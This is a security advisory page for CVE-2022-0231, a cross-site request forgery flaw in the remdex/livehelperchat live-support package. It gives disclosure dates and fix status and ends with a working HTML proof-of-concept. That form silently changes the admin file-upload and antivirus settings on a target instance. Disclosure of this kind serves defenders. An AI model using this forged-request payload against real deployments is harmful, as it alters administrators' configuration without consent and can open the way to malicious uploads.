Cross-site Request Forgery (CSRF) Affecting remdex/livehelperchat package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published27 Jan 2022
- disclosed26 Jan 2022
- creditUnknown
Introduced: 26 Jan 2022
CVE-2022-0231 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
remdex/livehelperchat is a package that offers live support for your website. Featuring web and desktop clients. Compatible Windows, Linux, Mac. Desktop client powered by QT. Supports mobile phones based on XMPP service providers (GTalk, Xabber, Mono etc.)
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via a missing CSRF token validation server side in the File Configuration, allowing to omit the token from a request without reprecussions.
###PoC
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.livehelperchat.com/site_admin/file/configuration" method="POST">
<input type="hidden" name="ActiveFileUploadUser" value="on" />
<input type="hidden" name="ActiveFileUploadAdmin" value="on" />
<input type="hidden" name="AllowedFileTypes" value="gif|jpe?g|png|zip|rar|xls|doc|docx|xlsx|pdf|mp3" />
<input type="hidden" name="AllowedFileTypesUser" value="gif|jpe?g|png|doc|docx|pdf|mp3" />
<input type="hidden" name="MaximumFileSize" value="2048" />
<input type="hidden" name="ClamAVSocketPath" value="/var/run/clamav/clamd.sock" />
<input type="hidden" name="ClamAVSocketLength" value="20000" />
<input type="hidden" name="soundMessagesOp" value="on" />
<input type="hidden" name="soundLength" value="30" />
<input type="hidden" name="mdays_older" value="" />
<input type="hidden" name="mdays_older_visitor" value="" />
<input type="hidden" name="StoreFileConfiguration" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>